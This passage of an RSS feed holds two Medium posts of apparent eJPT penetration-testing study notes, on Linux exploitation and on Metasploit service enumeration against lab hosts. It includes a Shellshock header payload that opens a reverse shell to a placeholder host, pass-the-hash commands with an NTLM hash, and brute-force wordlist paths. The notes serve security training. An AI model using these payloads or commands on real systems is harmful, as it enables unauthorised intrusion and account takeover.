&quot; aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d&quot; -x &quot;whoami&quot;<br>crackmapexec smb demo.ine.local -u Administrator -H &quot; aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d&quot; -x &quot;ipconfig&quot;</pre><h3>Linux Vulnerabilities</h3><p>Linux is a free and open-source OS that is comprised of the Linux kernel, and the GNU toolkit. Linux has various use-cases but it’s typically deployed as a server operating system.</p><p>For this reason, there are specific services and protocols that will typically be found running on a Linux server. These services provide an attacker with an access vector that they can utilize to gain access to a target host.</p><h3>Frequently Exploited Services</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*tUbEO5pGuCbrAQlZ6qJpyw.png" /></figure><h3>CVE-2014–6271 Shellshock</h3><p>The Linux Bash <a href="https://medium.com/@dharmendrastm/shellshock-vulnerability-lab-3827c963287f">vulnerability Shellshock</a> (CVE-2014–6271) is the name given to a vulnerability that is found in the Bash shell (since V1.3) that allow an attacker to execute remote arbitrary commands via Bash, consequently allowing the attacker to obtain remote access to the target system via a reverse shell. It was discovered by Stephane Chazelas on 12/09/2014 and was made public on 24/09/2014.</p><p>Bash is a Nix shell that is part of the GNU project and is the default shell for most Linux distributions. This vulnerability is caused by Bash whereby Bash executes trailing commands after a series of characters: (){:;};. This only affects Linux as Windows is not based on Nix.</p><p>In the context of remote exploitation, Apache web servers configured to run CGI scripts or .sh scripts are also vulnerable to this attack. CGI (Common Gateway Interface) scripts are used by Apache to execute arbitrary commands on the Linux system after which the output is display to the client.</p><p>In order to exploit it, you will need to locate an input vector or script that allows you to communicate with Bash. In the context on an Apache web server, we can utilize any legitimate CGI scripts accessible on the web server. Whenever a CGI script is executed, the web server will initiate a new process and run the CGI script with Bash.</p><p>Whenever we make a new HTTP request with a CGI script, then the server will run it with Bash so we can essentially input those characters within the User-Agent HTTP header followed by any other commands. It can be exploited manually or automatically with an exploit module.</p><p>We can check if an Apache web server is vulnerable to this attack using Nmap. Replace the /gettime.cgi with the path of the CGI script on the web server you are performing this on.</p><pre>nmap -sV (target ip) --script=http-shellshock --script-args &quot;http-shellshock.uri=/gettime.cgi&quot;</pre><p>To exploit this, we need to have FoxyProxy enabled on Firefox to send traffic to Burp Suite. Then go to the tab, Proxy, and ensure that the intercept is on. Now, reload the page with the CGI script and send the traffic to the Repeater. Then delete the User-Agent information, and replace it with the following. You can replace the reverse shell information with any command.</p><pre>() { :; }; echo; echo; /bin/bash -c &#39;bash -i&gt;&amp;/dev/tcp/your_ip/listen_port 0&gt;&amp;1&#39;</pre><p>To exploit this with the Metasploit framework, it has an auxiliary and exploit module. To run this, set the RHOSTS value to the target IP address and the TARGETURI value to the URL where the CGI file is running (in this case, it&#39;s /gettime.cgi). Also set the LHOST option to your IP address. Once this is done, you will have a meterpreter session.</p><p>The auxiliary module — apache_mod_cgi_bash_env<br>The exploit module - apache_mod_cgi_bash_env_exec</p><p>and the lab demonstrate <a href="https://medium.com/@dharmendrastm/shellshock-vulnerability-lab-3827c963287f">shellshock Vulnerability</a></p><h3>Nessus</h3><p>It’s a proprietary vulnerability scanner developed by Tenable. We can perform a scan on a target system which we can then import into Metasploit for analysis and exploitation. It automates the process of identifying vulnerabilities and provides us with information pertinent to a vulnerability like the CVE code. by deafult port is 8834.</p><p>There is a paid and free version of Nessus. The free version allows us to scan up to 16 IP addresses. We can access the link <a href="https://www.tenable.com/products/nessus/nessus-essentials">here</a> and you can register for free to get the activation code.</p><p>Once you’ve completed a scan with Nessus, you can export the results as a .nessus file. We can then import this into the Metasploit framework using db_import. We can then go through these results and look for CVE codes. Then we can search for exploit modules using those CVE codes:</p><pre>search cve:(enter the year) name:(the service)</pre><p>Alternatively, within the Nessus framework on the web, we can use the filter to filter out the results where Metasploit exploit modules are available. We can click on it and find the specific module name to run and gain a meterpreter session on the target.</p><h3>WMAP</h3><p>WMAP is a tool which we use to web application vulnerability scanning. It can be used to automate web server enumeration. It’s available as an MSF plugin and can be loaded directly into MSF. It can be integrated within the Metasploit Framework Database.</p><p>To load WMAP within Metasploit:</p><pre>worskspace -a Web_Scan<br>load wmap</pre><pre>To add a site to scan:<br>wmap_sites -a (target ip)</pre><pre>To set up our target:<br>wmap_targets -t <a href="http://(target_ip)/">http://(target_ip)/</a></pre><pre>To search for useful auxiliary modules for our target:<br>wmap_run -t</pre><pre>To then run those auxiliary modules:<br>wmap_run -e</pre><pre>To list out the vulnerabilities that wmap has found:<br>wmap_vulns -l</pre><p>We can use the module http_put to test whether or not we can upload a file to a directory. If we can, then it can be exploited by uploading a malicious file.</p><p><em>eJPT — 1.4 CTF Vulnerability Assessment :</em><a href="https://medium.com/@dharmendrastm/ejpt-1-4-ctf-vulnerability-assessment-a99304490793"><em>https://medium.com/@dharmendrastm/ejpt-1-4-ctf-vulnerability-assessment-a99304490793</em></a></p><p>Thank you for Reading!</p><p><strong>HAPPY CTF HACKING!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85ed97372f20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 1.3 Enumeration]]></title>
            <link>https://dharmstm.medium.com/ejpt-1-3-enumeration-bf658c341ac1?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf658c341ac1</guid>
            <category><![CDATA[smb-enumeration]]></category>
            <category><![CDATA[web-enumeration]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[ftp-enumeration]]></category>
            <category><![CDATA[stmp]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 20:14:15 GMT</pubDate>
            <atom:updated>2025-09-17T18:57:43.800Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 1.3 Enumeration</h3><p>Hi all!</p><p>Welcome to our enumeration blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Rh2ZVGHwAgsDPvOr" /></figure><p>Topics</p><ul><li>Auxiliary Modules</li><li>FTP Enumeration</li><li>SMB Enumeration</li><li>Web Server Enumeration</li><li>MySQL Enumeration</li><li>SSH Enumeration</li><li>SMTP Enumeration</li></ul><h3>Auxiliary Modules</h3><p>The first step is to start up Metasploit and run a basic Nmap scan:</p><pre>service postgresql start<br>msfconsole<br>workspace -a (name)<br>db_status</pre><p>Useful commands to know about Metasploit to navigate:</p><pre>hosts<br>services<br>db_nmap<br>search<br>use<br>show options<br>run<br>exploit<br>sessions<br>background<br>back<br>creds<br>loot</pre><pre>msf6 &gt; search cve:CVE-2021-26855<br>msf6 &gt; search type:exploit platform:windows name:exchange<br>msf6 &gt; search type:auxiliary name:smb</pre><p>We can use auxiliary modules to do port scanning within Metasploit. It is used to perform scanning, discovery, and fuzzing. We can do TCP &amp; UDP port scanning as well as enumerating services on those ports. Can also be used to discover hosts and perform port scanning on a different network subnet after we have obtained initial access on a target system.</p><p>You cannot pair these modules with payloads as they have nothing to do with exploitation. These modules can be used during the information gathering and post exploitation phases.</p><p>To explain this briefly, using Nmap, we can do information gathering on target 1. Once we have gained access to this system, we may find that there are other systems available via target 1, such as target 2. Now, we can’t run Nmap here unless we install it on target 1 which is not recommended. This is where these auxiliary modules come in as we can perform a port scan on target 1 using target 2. We may also not have target 2’s IP address or it may be not connected to the internet, therefore preventing us from using Nmap or scanning it from our device.</p><p>An example command within an auxiliary module:</p><pre>search portscan<br>use (number of module)<br>set RHOSTS (target ip)</pre><p>Auxiliary modules that are useful to know:</p><ul><li>portscan</li><li>udp_sweep</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uyllcppKwuMebK5g" /></figure><h3>1. FTP Enumeration</h3><p>FTP stands for the file transfer protocol. Normally on port 21 and is used to facilitate file sharing between a server and clients. Also frequently used to facilitate file sharing to and from the directory of a web server.</p><p>FTP authentication utilizes a username and password combination. However, in some cases, an improperly configured FTP server will allow anonymous login. We can use multiple auxiliary modules to enumerate information as well as perform brute-force attacks on an FTP server.</p><p>If you don’t have a specific username or password to use with the brute-force option. Some very useful and comprehensive lists within Metasploit can be found here:</p><pre>/usr/share/metasploit-framework/data/wordlists/common_users.txt<br>/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</pre><p>Some useful auxiliary FTP modules:</p><ul><li>ftp_version</li><li>ftp_login</li><li>ftp/anonymous</li></ul><p>lab:- <a href="https://dharmendrastm.medium.com/this-task-is-to-perform-ftp-enumeration-with-metasploit-c65f55e62581">File Transer Protocol</a></p><h3>2. SMB Enumeration</h3><p>SMB stands for Server Message Block is a network file sharing protocol that is used to facilitate the sharing of files and peripherals between computers on a local network (LAN). It uses port 445. On Linux, it’s called SAMBA. We can use auxiliary modules to enumerate SMB shares, the version, users, and perform a brute-force attack in order to verify usernames and passwords.</p><p>A useful tip within Metasploit is to set a global variable to be the target IP, to prevent having to remember it or continually paste it.</p><pre>setg RHOSTS (target ip)</pre><p>Some useful auxiliary FTP modules:</p><ul><li>smb_version</li><li>smb_enumusers</li><li>smb_enumshares</li><li>smb_login</li></ul><p>For example, you can use the command to list out the SMB shares and the next one to gain access:</p><pre>smbclient -L \\\\ip\\ -U admin<br>smbclient \\\\ip\\public -U admin</pre><p>lab:- <a href="https://dharmendrastm.medium.com/performing-smb-server-reconnaissance-involves-identifying-and-extracting-information-from-smb-859a94f80d53">ServerMessageBlock</a> Reconnaissance</p><h3>3. Web Server Enumeration</h3><p>A web server is software that is used to serve website data on the web. They utilize HTTP for communication between the client and the webserver. It is on port 80 while HTTPS is on 443. Popular webservers include Apache, Nginx, and Microsoft IIS. We can use auxiliary modules to enumerate the webserver version, HTTP header and brute-force directories.</p><p>Some useful auxiliary HTTP modules:</p><ul><li>http_version</li><li>http_header</li><li>http_put</li><li>robots_txt</li><li>dir_scanner</li><li>dir_listing</li><li>files_dir</li><li>http_login</li><li>apache_userdir_enum</li><li>brute_dirs</li></ul><h3>4. MySQL Enumeration</h3><p>It’s an open-source relational database management system. It is typically used to store records, customer data, and is most commonly used to store web application data. It utilizes port 3306 by default but it can be hosted on any other open TCP port. We can use auxiliary modules to find out the version, perform brute-force attacks and identify passwords.</p><p>Some useful auxiliary MySQL modules:</p><ul><li>mysql_version</li><li>mysql_login</li><li>mysql_enum</li><li>mysql_sql</li><li>mysql_schemadump</li></ul><p>To then open the database outside the Metasploit framework once credentials have been found:</p><pre>mysql -h (target ip) -u (username) -p</pre><h3>5. SSH Enumeration</h3><p>SSH (Secure Shell) is a remote administration protocol that offers encryption and is the successor to Telnet. It is typically used for remote access to servers and systems. It uses port 22 by default but can be configured to run on any port. We can use auxiliary modules to enumerate the version of SSH as well as perform brute-force attacks to identify passwords to exploit it.</p><p>If a target has been configured to use passwords for encryption, then we use the ssh_login module. If it has been configured to use a public and private key for encryption, then we use the ssh_login_pubkey module.</p><p>Some useful auxiliary SSH modules:</p><ul><li>ssh_version</li><li>ssh_login</li><li>ssh_enumusers</li></ul><p>lab:- <a href="https://dharmendrastm.medium.com/ssh-secure-shell-is-a-network-protocol-that-allows-secure-access-to-remote-systems-over-an-8481c5010aca">Secure shell</a></p><h3>6. SMTP Enumeration</h3><p>SMTP stands for Simple Mail Transfer Protocol. It uses port 25 by default but can be configured to run on 465 and 587 if it has SSL/TLS running. We can use auxiliary modules to enumerate the version of SMTP and user accounts on the target system.</p><p>Some useful auxiliary SMTP modules:</p><ul><li>smtp_version</li><li>smtp_enum</li></ul><p>eJPT — 1.3 CTF Enumeration:-</p><p><a href="https://medium.com/@dharmendrastm/assessment-methodologies-enumeration-ctf-1-8aa55d6105a8">https://medium.com/@dharmendrastm/assessment-methodologies-enumeration-ctf-1-8aa55d6105a8</a></p><p>Thankyou For Reading!</p><p><strong>HAPPY CTF HACKING!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf658c341ac1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>